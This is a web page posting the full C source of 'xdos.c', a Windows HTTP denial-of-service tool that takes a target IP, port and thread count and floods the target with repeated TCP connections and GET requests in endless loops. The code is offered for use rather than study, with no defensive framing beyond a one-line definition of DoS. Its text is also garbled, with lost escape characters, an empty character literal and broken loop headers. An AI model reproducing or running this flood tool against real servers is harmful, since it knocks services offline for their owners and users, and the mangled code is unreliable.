xdos.c: A Simple HTTP DoS Tool! ~ C programming Code

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A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer resource unavailable to its intended users.



#define WIN32_LEAN_AND_MEAN

#include <stdio.h>

#include <windows.h>

#include <winsock2.h>



unsigned long thread = 0;



static int connect_tv(struct sockaddr_in *addr, int timeout);

static DWORD WINAPI dosmain(LPVOID p);

const int main(int argc, char *argv[])

{

if(argc != 4) {

puts("ttttXDOS - by Bull Moosen");

printf("Usage: %s [IP] [Port] [Threads]n",argv[0]);

return 1;

}

puts("Initiating xdos...n");

struct sockaddr_in saddr;

unsigned long tid;

int i;



memset(&saddr, '', sizeof(saddr));

saddr.sin_family = AF_INET;

saddr.sin_addr.s_addr = inet_addr(argv[1]);

saddr.sin_port = (short)htons(atoi(argv[2]));



for(i = 1; i <= atoi(argv[3]); i++) CreateThread(0,0,dosmain,(LPVOID)&saddr,0,&tid);

puts("Attack sequence engaged!n");

dosmain(&saddr);

return 0;

}

static int connect_tv(struct sockaddr_in *addr, int timeout)

{

int s;

unsigned long i;

fd_set wr_fds, err_fds;

struct timeval tv;



s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

if (s == 0 || s == INVALID_SOCKET) return 0;



tv.tv_sec = timeout / 1000;

tv.tv_usec = 0;



i = 1;

ioctlsocket(s, FIONBIO, &i);



for (; {

i = connect(s, (struct sockaddr *)addr, sizeof(struct sockaddr_in));

if (i != SOCKET_ERROR)

goto exit_connected;

i = WSAGetLastError();

if (i == WSAENOBUFS) {

Sleep(50);

continue;

}

if (i == WSAEWOULDBLOCK)

break;

goto exit_err;

}



FD_ZERO(&wr_fds);

FD_SET(s, &wr_fds);

FD_ZERO(&err_fds);

FD_SET(s, &err_fds);

i = select(s+1, NULL, &wr_fds, &err_fds, &tv);



if (i == 0 || i == -1)

goto exit_err;

if (FD_ISSET(s, &err_fds) || !FD_ISSET(s, &wr_fds))

goto exit_err;



exit_connected:

i = 0;

ioctlsocket(s, FIONBIO, &i);

return s;



exit_err:

closesocket(s);

return 0;

}

static DWORD WINAPI dosmain(LPVOID p)

{

extern unsigned long thread;

thread++;



printf("Thread number %u initiated!n",thread);

struct sockaddr_in addr;

char Buffer[] =

"GET / HTTP/1.1rn"

"Host: 127.0.0.1rnrn";

SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_BELOW_NORMAL);

int sock;

if (p == NULL) goto ex;

addr = *(struct sockaddr_in *)p;

for (; {

sock = connect_tv(&addr, 8);

if (sock != 0) {

send(sock,Buffer,strlen(Buffer),0);

Sleep(300);

closesocket(sock);

} else if(sock==SOCKET_ERROR) {

puts("Error: Socket Error.n");

ExitProcess(1);

}

}

ex: ExitThread(0);

return 0;

}